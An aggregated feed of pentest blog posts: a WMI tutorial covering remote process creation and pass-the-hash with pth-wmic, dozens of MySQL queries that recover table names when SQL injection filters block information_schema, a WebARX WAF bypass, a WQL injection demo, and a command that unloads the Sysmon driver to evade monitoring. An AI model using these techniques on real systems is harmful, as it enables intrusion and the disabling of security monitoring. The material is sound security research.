Normal view

There are new articles available, click to refresh the page.
Before yesterdayPentest/Red Team

Windows Command-Line Obfuscation

By: @Wietze
23 July 2021 at 00:00
Many Windows applications have multiple ways in which the same command line can be expressed, usually for compatibility or ease-of-use reasons. As a result, command-line arguments are implemented inconsistently making detecting specific commands harder due to the number of variations. This post shows how more than 40 often-used, built-in Windows applications are vulnerable to forms of command-line obfuscation, and presents a tool for analysing other executables.

PowerShell Obfuscation using SecureString

By: @Wietze
20 January 2020 at 00:00
PowerShell has built-in functionality to save sensitive plaintext data to an encrypted object called `SecureString`. Malicious actors have exploited this functionality as a means to obfuscate PowerShell commands. This blog post discusses `SecureString`, examples seen in the wild, and presents a tool [[8](https://wietze.github.io/powershell-securestring-decoder/)] that helps analyse `SecureString` obfuscated commands.

WMI 101 for Pentesters

26 February 2020 at 15:07

PowerShell has gained popularity with SysAdmins and for good reason. It’s on every Windows machine (and now some Linux machines as well), has capabilities to interact with almost every service on every machine on the network, and it’s a command-line utility. For the same exact reasons, PowerShell has also become a favourite method of attackers interacting with a victim machine. Because of this, organizations have gotten wise to this attack vector and have put measures in place to mitigate its use. But there’s another way! Many don’t know of another built-in Windows utility that actually pre-dates PowerShell and can also help them in their hacking pentesting engagements. That tool is Windows Management Instrumentation (WMI). This tutorial will be a small introduction to not only understand the usage of WMI to enumerate information from local and remote machines, but we’ll also show you how to start and kill processes! So let’s jump into WMI 101 for pentesters.

Background on WMI

I will keep this article at an introductory level to understand how to enumerate information at a high level. But as with most tutorials, let’s define some terms and provide some historical background. This may get dry but stick with me.

Windows Management Instrumentation (WMI) is Microsoft’s implementation of Web-based Business Management Standards (WBEM), the common information model (CIM) and the Distributed Management Task Force (DMTF). Microsoft has officially stated:

Windows Management Instrumentation (WMI) is the infrastructure for management data and operations on Windows-based operating systems.

So what does that mean? Simply, WMI stores a bunch of information about the local machine and allows you to access that data as well as manage Windows computers locally and remotely.

WMI came pre-installed in Windows 2000. It was made available as a download for Windows NT and Windows 95/98. For historical purposes, Monad, was born in 2002 with its first public appearance in 2003. In the spring of 2006, Monad was renamed Windows PowerShell and didn’t make a final release until November of 2006.

By default, WMI can be accessed by the Windows Script Host (WSH) languages such as VBScript and JScript. From Windows 7 PowerShell can be also used to access WMI. Furthermore, the IWbem COM API can be used with C/C++ and the ‘System.Management’ namespace with .Net languages such as C#, VB.Net and F#. Almost every popular programming languages such as Python, Ruby, PHP, Delphi, et al have third-party libraries or built-in libraries which support WMI.

The command-line interface to access WMI is called the Windows Management Instrumentation Command-line (WMIC). However, WMI can also be accessed directly with PowerShell. From PowerShell v3 onwards, CIM (Common Information Model) cmdlets can be found. The CIM cmdlets can be used to interact with WMI over WS-MAN (WinRM). These CIM cmdlets will aid us when WMI is blocked but WinRM is allowed on the target machine.

Exploring Namespaces

WMI namespaces can be explored in several different ways from using WMIC directly or by using PowerShell.

Using WMIC

C:\>wmic /namespace:\\root path __namespace
Name
subscription
DEFAULT
CIMV2
msdtc
Cli
SECURITY
SecurityCenter2
RSOP
District
PEH
StandardCimv2
WMI
directory
Policy
Interop
Hardware
ServiceModel
SecurityCenter
Microsoft
aspnet
Appv

Using PowerShell

Get-WmiObject -namespace "root" -class "__Namespace" | Select Name



Another method is by using WQL, the WMI Query Language. Microsoft’s documentation defines WQL as, “a subset of standard American National Standards Institute Structured Query Language (ANSI SQL) with minor semantic changes to support WMI.” So, we can use commonly understood SQL statement in quotes such as:

Get-WmiObject -Query “Select * from __Namespace” -Namespace Root | select Name

 

Exploring Classes

To get a list of WMI classes of a specific Namespace using PowerShell, we can use the ‘List’ parameter. In this example we are listing the classes of default namespace, ‘root\cimv2’.

PS C:\>Get-WmiObject -Namespace root\cimv2 -List
… Output Omitted …
Win32_ShadowContext {} {Caption, ClientAccessible, Description
Differential...}
Win32_MSIResource {} {Caption, Description, SettingID}
Win32_ServiceControl {} {Arguments, Caption, Description, Event...}
Win32_Property {} {Caption, Description, ProductCode, Property...}
Win32_Patch {} {Attributes, Caption, Description, File...}
Win32_PatchPackage {} {Caption, Description, PatchID, ProductCode...}
… Output Omitted …

Another method is by using “Get-CimClass” cmdlet:

Get-CimClass -Namespace root\cimv2

If we want only the classes that start with “win32” inside the “root\cimv2” namespace, we can use a wildcard like this:

Get-WmiObject -Namespace root\cimv2 -Class *Win32* -List

Furthermore, the tool WMI Explorer can be used to have a better view of the namespaces, classes and methods with descriptions and examples.

In summary, each Namespace contains Classes. Classes contain:

  • Properties – Information that can be retrieved.
  • Methods – Functions that be performed.
  • Instances – Instances of the class objects. Each instance with Methods and Properties.
  • Events – Produces notifications about changes in WMI data and services.

WMI Query Language – WQL

We briefly mentioned WQL in an example above, but let’s dive a little deeper. WQL queries can be directly accessed by the ‘wbemtest.exe’ binary and using PowerShell. WQL is used in scripting languages and programming languages when accessing WMI. For this article I will not go in depth regarding each type, however WQL Queries can be categorized as follows:

  • Instance Queries
  • Event Queries
  • Meta Queries

Once you open the wbemtest binary, click on Connect and create a new connection to the required namespaces as shown above. If you are creating a connection to a remote machine, you can provide the credentials in this dialog box. In this example, I will connect to the default namespace ‘root\cimv2’.

After creating the connection, click on ‘Query’ to test a WQL query. In this example I will use the following query to enumerate files on the disk from the path “C:\temp”

Select * From Cim_DataFile Where Drive = "C:" And Path = "\\temp\\"

It will enumerate the files on the ‘temp´ folder and display the file name.

This is the PowerShell syntax for the same request:

Get-WmiObject -Query 'Select FileName From Cim_DataFile Where Drive = "C:" And Path = "\\temp\\"'

 

WMI Verbs

The following is for usage with WMIC:

  • List – List Information
  • Get – Retrieve values
  • Call – Execute a method
  • Set – Set value of a property
  • Create – Creates a new instance
  • Delete – Deletes an instance
  • Assoc – Displays the Associators

Putting WMI All Together

Using WMIC

The following command can be used to list the aliases used in WMIC for the corresponding WQL Query.

wmic alias list brief

The list is much longer than what you see in the screenshot above. I highly recommend you try this on your own machine to see what I mean. Much lower in the list, you will find the ‘process’ alias, and it uses the “Select * from Win32_Process” WQL query. By using the alias, we can shorten the command in the following way:

wmic process where name='lsass.exe' list brief

In this next example, I am using the ‘get’ verb to retrieve specific properties from the class.

wmic process where name='winword.exe' get name, executablepath

This is an example of using the method ‘GetOwner’ to retrieve the owner of the target process.

wmic process where name='winword.exe' call GetOwner

To create a process we can use the ‘Create’ method. This is widely used by pentesters and in malware to create a remote process.

wmic process call create 'calc.exe'

 

To kill a process the ‘Terminate’ method can be used.

wmic process where name='notepad.exe' call Terminate

Using PowerShell

Now let’s try some similar activities using PowerShell. This time, let’s look for Word.

Get-WmiObject -Class Win32_Process -Filter 'name="winword.exe"'

Next, we’ll filter our data even more to get the information we want.

Get-CimInstance -Class Win32_Process -Filter "name='winword.exe'" -Property Caption, ProcessID, ExecutablePath

 

Using WQL

And how would this look using PowerShell and some WQL? Here, I am selecting the Caption, Process ID and the Executable Path properties from the ‘winword.exe’ process.

Get-WmiObject -Query "Select Caption,ProcessID,ExecutablePath from Win32_Process where name='winword.exe'" -Namespace root\cimv2

Using the CIM cmdlets you can retrieve all information or retrieve a specific property like this:

(Get-CimInstance -Query "Select * from Win32_Process where name='winword.exe'" -Namespace root\cimv2).ProcessID

Listing all the methods of the ‘Win32_Process’ Class can be done like this:

(Get-WmiObject -Class Win32_Process -List).Methods

For executing a method, the ‘Invoke-WmiMethod’ is used:

Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList @(calc.exe)

Using CIM we can call a method like this:

Invoke-CimMethod -ClassName Win32_Process -Name Create -Arguments @{Commandline = 'calc.exe'}

 

Remote WMIC

We also mentioned above that the same tools can be used over the network. This is the syntax you can use to accomplish the above example in remote computers:

WMIC

wmic /NODE:"servername" /USER:"yourdomain\administrator" /PASSWORD:password OS GET Name

Powershell

And, as we did before, here’s how it can be done using PowerShell:

$cred = Get-Credential domain\user
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList @(calc.exe) -ComputerName servername -Credential $cred

Furthermore, in Linux the tool ‘pth-wmic’ can be used to pass-the-hash instead of the password:

pth-wmic -U domain/adminuser%LM:NT //host "select * from Win32_ComputerSystem"

Conclusion

As you can see, WMI has loads of functionality, most of which have yet to be explored in this article. But even in the little we explored, you can clearly see that WMI can be used as an alternative when PowerShell is monitored or blocking certain scenarios. In a future article, we can play with WMI’s power in other ways good for pentesters such as using it as a C2C in engagements.

I hope this article covered the fundamentals of WMI usage and encouraged you to continue researching on your own. With that in mind, here’s a little homework. As with all useful technologies, there will eventually be a new version to expand on the capabilities proven by the previous version. Windows Management Instrumentation (WMI) is no different as it also has been updated to the Windows Management Infrastructure (MI). Microsoft says that MI is fully backwards compatible while reducing dev time and has tighter integration with Powershell. Go check it out and share what you discover.

 

Alternatives to Extract Tables and Columns from MySQL and MariaDB

27 January 2020 at 22:48

I’ve previously published a post on extracting table names when /or/i was filtered which leads to filtering of the word information_schema. I did some more research into this area on my own and found many other tables where you can extract the table names. These are all the databases and tables I found where we can extract table names apart from ‘information_schema.tables’. I have tested the following in 5.7.29 MySQL and 10.3.18 MariaDB. There are 39 queries in total.

Sys

These views were added in MySQL 5.7.9.

mysql> SELECT object_name FROM `sys`.`x$innodb_buffer_stats_by_table` WHERE object_schema = DATABASE();
+-------------+
| object_name |
+-------------+
| emails      |
| flag        |
| referers    |
| uagents     |
| users       |
+-------------+
5 rows in set (0.04 sec)

mysql> SELECT TABLE_NAME FROM `sys`.`x$schema_flattened_keys` WHERE TABLE_SCHEMA = DATABASE();
+------------+
| TABLE_NAME |
+------------+
| emails     |
| flag       |
| referers   |
| uagents    |
| users      |
+------------+
5 rows in set (0.01 sec)

mysql> SELECT TABLE_NAME FROM `sys`.`x$ps_schema_table_statistics_io` WHERE TABLE_SCHEMA = DATABASE();
+------------+
| TABLE_NAME |
+------------+
| db         |
| emails     |
| flag       |
| referers   |
| uagents    |
| users      |
+------------+
6 rows in set (0.04 sec)

mysql> SELECT TABLE_NAME FROM `sys`.`x$schema_index_statistics` WHERE TABLE_SCHEMA = DATABASE();
+------------+
| table_name |
+------------+
| users      |
| emails     |
| referers   |
| uagents    |
| flag       |
+------------+
5 rows in set (0.00 sec)

mysql> SELECT TABLE_NAME FROM `sys`.`x$schema_table_statistics` WHERE TABLE_SCHEMA = DATABASE();
+------------+
| TABLE_NAME |
+------------+
| emails     |
| users      |
| flag       |
| referers   |
| uagents    |
+------------+
5 rows in set (0.03 sec)

mysql> SELECT TABLE_NAME FROM `sys`.`x$schema_table_statistics_with_buffer` WHERE TABLE_SCHEMA = DATABASE();
+------------+
| TABLE_NAME |
+------------+
| referers   |
| uagents    |
| emails     |
| users      |
| flag       |
+------------+
5 rows in set (0.07 sec)

mysql> SELECT object_name FROM `sys`.`innodb_buffer_stats_by_table` WHERE object_schema = DATABASE();
+-------------+
| object_name |
+-------------+
| emails      |
| flag        |
| referers    |
| uagents     |
| users       |
+-------------+
5 rows in set (0.05 sec)

mysql> SELECT TABLE_NAME FROM `sys`.`schema_auto_increment_columns` WHERE TABLE_SCHEMA = DATABASE();
+------------+
| table_name |
+------------+
| referers   |
| flag       |
| emails     |
| users      |
| uagents    |
+------------+
5 rows in set (0.14 sec)

mysql> SELECT TABLE_NAME FROM `sys`.`schema_index_statistics` WHERE TABLE_SCHEMA = DATABASE();
+------------+
| table_name |
+------------+
| users      |
| emails     |
| referers   |
| uagents    |
| flag       |
+------------+
5 rows in set (0.00 sec)

mysql> SELECT TABLE_NAME FROM `sys`.`schema_table_statistics` WHERE TABLE_SCHEMA = DATABASE();
+------------+
| TABLE_NAME |
+------------+
| users      |
| emails     |
| referers   |
| uagents    |
| flag       |
+------------+
5 rows in set (0.04 sec)

mysql> SELECT TABLE_NAME FROM `sys`.`schema_table_statistics_with_buffer` WHERE TABLE_SCHEMA = DATABASE();
+------------+
| TABLE_NAME |
+------------+
| users      |
| emails     |
| flag       |
| referers   |
| uagents    |
+------------+
5 rows in set (0.09 sec)

Using these queries, you can get the table file paths stored locally on disk, along with it we can extract the table names.

mysql> SELECT FILE FROM `sys`.`io_global_by_file_by_bytes` WHERE FILE REGEXP DATABASE();
+---------------------------------+
| file                            |
+---------------------------------+
| @@datadir\security\emails.ibd   |
| @@datadir\security\flag.ibd     |
| @@datadir\security\referers.ibd |
| @@datadir\security\uagents.ibd  |
| @@datadir\security\users.ibd    |
| @@datadir\security\uagents.frm  |
| @@datadir\security\referers.frm |
| @@datadir\security\users.frm    |
| @@datadir\security\emails.frm   |
| @@datadir\security\flag.frm     |
| @@datadir\security\db.opt       |
+---------------------------------+
11 rows in set (0.22 sec)

mysql> SELECT FILE FROM `sys`.`io_global_by_file_by_latency` WHERE FILE REGEXP DATABASE();
+---------------------------------+
| file                            |
+---------------------------------+
| @@datadir\security\flag.ibd     |
| @@datadir\security\uagents.ibd  |
| @@datadir\security\flag.frm     |
| @@datadir\security\emails.frm   |
| @@datadir\security\emails.ibd   |
| @@datadir\security\referers.ibd |
| @@datadir\security\referers.frm |
| @@datadir\security\users.frm    |
| @@datadir\security\users.ibd    |
| @@datadir\security\uagents.frm  |
| @@datadir\security\db.opt       |
+---------------------------------+

mysql> SELECT FILE FROM `sys`.`x$io_global_by_file_by_bytes` WHERE FILE REGEXP DATABASE();
+-----------------------------------------------------------------------------+
| file                                                                        |
+-----------------------------------------------------------------------------+
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\emails.ibd   |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\flag.ibd     |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\referers.ibd |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\uagents.ibd  |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\users.ibd    |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\uagents.frm  |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\referers.frm |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\users.frm    |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\emails.frm   |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\flag.frm     |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\db.opt       |
+-----------------------------------------------------------------------------+

mysql> SELECT FILE FROM `sys`.`x$io_global_by_file_by_latency` WHERE FILE REGEXP DATABASE();
+-----------------------------------------------------------------------------+
| file                                                                        |
+-----------------------------------------------------------------------------+
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\flag.ibd     |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\uagents.ibd  |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\flag.frm     |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\emails.frm   |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\emails.ibd   |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\referers.ibd |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\referers.frm |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\users.frm    |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\users.ibd    |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\uagents.frm  |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\db.opt       |
+-----------------------------------------------------------------------------+
11 rows in set (0.00 sec)

The following tables store the queries used before like a log. You can use regular expressions to find what you need.

mysql> SELECT QUERY FROM sys.x$statement_analysis WHERE QUERY REGEXP DATABASE();
+-----------------------------------------------------------------------------------------------------------------------------------+
| query                                                                                                                             |
+-----------------------------------------------------------------------------------------------------------------------------------+
| SHOW TABLE STATUS FROM `security`                                                                                                 |
| SHOW CREATE TABLE `security` . `emails`                                                                                           |
| SHOW CREATE TABLE `security` . `users`                                                                                            |
| SHOW CREATE TABLE `security` . `referers`                                                                                         |
+-----------------------------------------------------------------------------------------------------------------------------------+

mysql> SELECT QUERY FROM `sys`.`statement_analysis` where QUERY REGEXP DATABASE();
+-----------------------------------------------------------+
| query                                                     |
+-----------------------------------------------------------+
| SHOW TABLE STATUS FROM `security`                         |
| SHOW CREATE TABLE `security` . `emails`                   |
| SHOW CREATE TABLE `security` . `users`                    |
| SHOW CREATE TABLE `security` . `referers`                 |
| SELECT * FROM `security` . `users` LIMIT ?                |
| SHOW CREATE TABLE `security` . `uagents`                  |
| SHOW CREATE PROCEDURE `security` . `select_first_column`  |
| SHOW CREATE TABLE `security` . `users`                    |
| SHOW OPEN TABLES FROM `security` WHERE `in_use` != ?      |
| SHOW TRIGGERS FROM `security`                             |
| USE `security`                                            |
| USE `security`                                            |
+-----------------------------------------------------------+
12 rows in set (0.01 sec)

Performance_Schema

mysql> SELECT object_name FROM `performance_schema`.`objects_summary_global_by_type` WHERE object_schema = DATABASE();
+---------------------+
| object_name         |
+---------------------+
| emails              |
| referers            |
| uagents             |
| users               |
| flag                |
| select_first_column |
+---------------------+
6 rows in set (0.00 sec)

mysql> SELECT object_name FROM `performance_schema`.`table_handles` WHERE object_schema = DATABASE();
+-------------+
| object_name |
+-------------+
| emails      |
| referers    |
| uagents     |
| users       |
| users       |
| users       |
| users       |
| users       |
| users       |
| users       |
| emails      |
| flag        |
| referers    |
| uagents     |
| users       |
| emails      |
| flag        |
| referers    |
| uagents     |
| users       |
+-------------+
20 rows in set (0.00 sec)

mysql> SELECT object_name FROM `performance_schema`.`table_io_waits_summary_by_index_usage` WHERE object_schema = DATABASE();
+-------------+
| object_name |
+-------------+
| emails      |
| referers    |
| uagents     |
| users       |
| users       |
| flag        |
+-------------+
6 rows in set (0.00 sec)

mysql> SELECT object_name FROM `performance_schema`.`table_io_waits_summary_by_table` WHERE object_schema = DATABASE();
+-------------+
| object_name |
+-------------+
| emails      |
| referers    |
| uagents     |
| users       |
| flag        |
+-------------+
5 rows in set (0.00 sec)

mysql> SELECT object_name FROM `performance_schema`.`table_lock_waits_summary_by_table` WHERE object_schema = DATABASE();
+-------------+
| object_name |
+-------------+
| emails      |
| referers    |
| uagents     |
| users       |
| flag        |
+-------------+
5 rows in set (0.00 sec)

As mentioned before the following contains the log of all typed SQL queries. Sometimes you might find table names. For simplicity, I have used regular expressions to match the current database name.

mysql> SELECT digest_text FROM `performance_schema`.`events_statements_summary_by_digest` WHERE digest_text REGEXP DATABASE();
+-----------------------------------------------------------------------------------------------------------------------------------+
| digest_text                                                                                                                       |
+-----------------------------------------------------------------------------------------------------------------------------------+
| SHOW CREATE TABLE `security` . `emails`                                                                                           |
| SHOW CREATE TABLE `security` . `referers`                                                                                         |
| SHOW CREATE PROCEDURE `security` . `select_first_column`                                                                          |
| SHOW CREATE TABLE `security` . `uagents`                                                                                          |
+-----------------------------------------------------------------------------------------------------------------------------------+
17 rows in set (0.00 sec)

Like before we are fetching the local table file paths.

mysql> SELECT file_name FROM `performance_schema`.`file_instances` WHERE file_name REGEXP DATABASE();
+-----------------------------------------------------------------------------+
| file_name                                                                   |
+-----------------------------------------------------------------------------+
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\emails.ibd   |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\flag.ibd     |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\referers.ibd |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\uagents.ibd  |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\users.ibd    |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\emails.frm   |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\referers.frm |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\db.opt       |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\uagents.frm  |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\users.frm    |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\flag.frm     |
+-----------------------------------------------------------------------------+
11 rows in set (0.00 sec)

mysql> SELECT file_name FROM `performance_schema`.`file_summary_by_instance` WHERE file_name REGEXP DATABASE();
+-----------------------------------------------------------------------------+
| file_name                                                                   |
+-----------------------------------------------------------------------------+
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\emails.ibd   |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\flag.ibd     |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\referers.ibd |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\uagents.ibd  |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\users.ibd    |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\emails.frm   |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\referers.frm |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\db.opt       |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\uagents.frm  |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\users.frm    |
| D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\flag.frm     |
+-----------------------------------------------------------------------------+
11 rows in set (0.00 sec)

MySQL

mysql> SELECT table_name FROM `mysql`.`innodb_table_stats` WHERE database_name = DATABASE();
+------------+
| table_name |
+------------+
| emails     |
| flag       |
| referers   |
| uagents    |
| users      |
+------------+
5 rows in set (0.00 sec)

mysql> SELECT table_name FROM `mysql`.`innodb_index_stats` WHERE database_name = DATABASE();
+------------+
| table_name |
+------------+
| emails     |
| emails     |
| emails     |
| flag       |
| flag       |
| flag       |
| referers   |
| referers   |
| referers   |
| uagents    |
| uagents    |
| uagents    |
| users      |
| users      |
| users      |
+------------+
15 rows in set (0.00 sec)

Information_Schema

mysql> SELECT TABLE_NAME FROM `information_schema`.`KEY_COLUMN_USAGE` WHERE CONSTRAINT_SCHEMA = DATABASE();
+------------+
| TABLE_NAME |
+------------+
| emails     |
| flag       |
| referers   |
| uagents    |
| users      |
+------------+
5 rows in set (0.07 sec)

mysql> SELECT TABLE_NAME FROM `information_schema`.`KEY_COLUMN_USAGE` WHERE table_schema = DATABASE();
+------------+
| TABLE_NAME |
+------------+
| emails     |
| flag       |
| referers   |
| uagents    |
| users      |
+------------+
5 rows in set (0.00 sec)

However, the first column value can be retrieved in this case.

mysql> SELECT COLUMN_NAME FROM `information_schema`.`KEY_COLUMN_USAGE` WHERE table_schema = DATABASE();
+-------------+
| COLUMN_NAME |
+-------------+
| id          |
| id          |
| id          |
| id          |
| id          |
+-------------+
5 rows in set (0.00 sec)

mysql> SELECT TABLE_NAME FROM `information_schema`.`PARTITIONS` WHERE TABLE_SCHEMA = DATABASE();
+------------+
| TABLE_NAME |
+------------+
| emails     |
| flag       |
| referers   |
| uagents    |
| users      |
+------------+
5 rows in set (0.01 sec)

In this table, you can also use the column ‘column_name’ to get the first column of all tables.

mysql> SELECT TABLE_NAME FROM `information_schema`.`STATISTICS` WHERE TABLE_SCHEMA = DATABASE();
+------------+
| TABLE_NAME |
+------------+
| emails     |
| flag       |
| referers   |
| uagents    |
| users      |
+------------+
5 rows in set (0.00 sec)

mysql> SELECT TABLE_NAME FROM `information_schema`.`TABLE_CONSTRAINTS` WHERE TABLE_SCHEMA = DATABASE();
+------------+
| TABLE_NAME |
+------------+
| emails     |
| flag       |
| referers   |
| uagents    |
| users      |
+------------+
5 rows in set (0.00 sec)

mysql> SELECT file_name FROM `information_schema`.`FILES` where file_name regexp database();
+-------------------------+
| file_name               |
+-------------------------+
| .\security\emails.ibd   |
| .\security\flag.ibd     |
| .\security\referers.ibd |
| .\security\uagents.ibd  |
| .\security\users.ibd    |
+-------------------------+
5 rows in set (0.00 sec)

Starting from MySQL 5.6 InnoDB exists in Information_Schema.

mysql> SELECT TABLE_NAME FROM `information_schema`.`INNODB_BUFFER_PAGE` WHERE TABLE_NAME REGEXP  DATABASE();
+-----------------------+
| TABLE_NAME            |
+-----------------------+
| `security`.`emails`   |
| `security`.`referers` |
| `security`.`uagents`  |
| `security`.`users`    |
| `security`.`flag`     |
+-----------------------+

mysql> SELECT TABLE_NAME FROM `information_schema`.`INNODB_BUFFER_PAGE_LRU` WHERE TABLE_NAME REGEXP DATABASE();
+-----------------------+
| TABLE_NAME            |
+-----------------------+
| `security`.`emails`   |
| `security`.`referers` |
| `security`.`uagents`  |
| `security`.`users`    |
| `security`.`flag`     |
+-----------------------+
5 rows in set (0.06 sec)

mysql> SELECT path FROM  `information_schema`.`INNODB_SYS_DATAFILES` WHERE path REGEXP DATABASE();
+-------------------------+
| path                    |
+-------------------------+
| .\security\users.ibd    |
| .\security\emails.ibd   |
| .\security\uagents.ibd  |
| .\security\referers.ibd |
| .\security\flag.ibd     |
+-------------------------+
5 rows in set (0.00 sec)

mysql> SELECT NAME FROM `information_schema`.`INNODB_SYS_TABLESPACES` WHERE NAME REGEXP DATABASE();
+-------------------+
| NAME              |
+-------------------+
| security/users    |
| security/emails   |
| security/uagents  |
| security/referers |
| security/flag     |
+-------------------+
5 rows in set (0.04 sec)

mysql> SELECT NAME FROM `information_schema`.`INNODB_SYS_TABLESTATS` WHERE NAME REGEXP DATABASE();
+-------------------+
| NAME              |
+-------------------+
| security/emails   |
| security/flag     |
| security/referers |
| security/uagents  |
| security/users    |
+-------------------+
5 rows in set (0.00 sec)

Column Names

Most of the time people ask me if there’s any method to extract column names? You don’t need to know the column names really.

If you have the error displayed you can straightaway get the number of columns using the below first query which makes the query equals to 1 returning us the error. To determine the number of columns in a boolean blind injection scenario you can do this trick which will return 0 (since the values aren’t equal). After that use the below third query to extract data 🙂

I hope these might come handy in your next pentest 🙂

Bypassing the WebARX Web Application Firewall (WAF)

12 October 2019 at 22:16

WebARX is a web application firewall where you can protect your website from malicious attacks. As you can see it was mentioned in TheHackerNews as well and has good ratings if you do some Googling.
https://thehackernews.com/2019/09/webarx-web-application-security.html

It was found out that the WebARX WAF could be easily bypassed by passing a whitelist string. As you see the request won’t be processed by the WAF if it detects a whitelist string.

Let’s first try on their own website. This is a simple LFi payload.



Now if I include a whitelist string such as ithemes-sync-request it would be easily bypassed.

XSS PoC

Here’s an XSS PoC where we pass a simple script tag. It detects the raw request when we pass normally.

But if we include ithemes-sync-request parameter which is a whitelist string the script tag will get executed.

LFi PoC

Here’s a normal payload which will block.

Once we apply the whitelist string it’s bypassed.

SQLi PoC

Here’s a normal payload which will block.

Once we apply the whitelist string it’s bypassed.

These whitelist strings are more like a kill switch for this firewall. I’m not quite sure the developers of this project understands the logic behind it. It’s more like coded by an amateur programmer for a university assignment.

[tweet https://twitter.com/webarx_security/status/1181655018442760193]

WQL Injection

6 October 2019 at 21:59

Generally in application security, the user input must be sanitized. When it comes to SQL injection the root cause most of the time is because the input not being sanitized properly. I was curious about Windows Management Instrumentation Query Language – WQL which is the SQL for WMI. Can we abuse WQL if the input is not sanitized?

I wrote a simple application in C++ which gets the service information from the Win32_Service class. It will display members such as Name, ProcessId, PathName, Description, etc.

This is the WQL Query.

SELECT * FROM win32_service where Name='User Input'

As you can see I am using the IWbemServices::ExecQuery method to execute the query and enumerte its members using the IEnumWbemClassObject::Next method.

BSTR input = L"SELECT * FROM win32_service where Name='User Input'";

if (FAILED(hRes = pService->ExecQuery(L"WQL", input, WBEM_FLAG_FORWARD_ONLY, NULL, &pEnumerator))) {
	pLocator->Release();
	pService->Release();
	cout << "Unable to retrive Services: 0x" << std::hex << hRes << endl;
	return 1;
}

IWbemClassObject* clsObj = NULL;
int numElems;
while ((hRes = pEnumerator->Next(WBEM_INFINITE, 1, &clsObj, (ULONG*)&numElems)) != WBEM_S_FALSE) {
	if (FAILED(hRes)) break;
	VARIANT vRet;
	VariantInit(&vRet);
	if (SUCCEEDED(clsObj->Get(L"Name", 0, &vRet, NULL, NULL))
		&& vRet.vt == VT_BSTR) {
		wcout << L"Name: " << vRet.bstrVal << endl;
		VariantClear(&vRet);
}

Once the user enters a service name the application will display its members.

I was thinking if it’s possible to make the query true and return all the services of the target host. Something like id=1 or 1=1 in SQLi where we make the statement logically true.
Since the user input is not properly sanitized in this case we can use the and keyword and enumerate all the services by using the like keyword.

SELECT * FROM win32_service where Name='Appinfo' or name like '[^]%'

You could simply use “%” as well.

This is just a simple demonstration to prove WQL injection. I’m sure there might be better cases to demonstrate this. However, Extended WQL which is a superset of the WQL can be used to combine statements and do more cool stuff. It’s used by the System Center Configuration Manager – SCCM. Always sanitize the input of the application.

You can download the applications from here to play around.
https://github.com/OsandaMalith/WMI/releases/download/1/WinServiceInfo.7z

Unloading the Sysmon Minifilter Driver

22 September 2019 at 14:51

The binary fltMC.exe is used to manage minifilter drivers. You can easily load and unload minifilters using this binary. To unload the Sysmon driver you can use:

fltMC unload SysmonDrv

If this binary is flagged, we can unload the minifilter driver by calling the ‘FilterUnload’ which is the Win32 equivalent of ‘FltUnloadFilter’. It will call the minifilter’s ‘FilterUnloadCallback’ (PFLT_FILTER_UNLOAD_CALLBACK) routine. This is as same as using fltMC which is a Non-mandatory unload.
For calling this API SeLoadDriverPrivilege is required. To obtain this privelege adminsitrative permissions are required.

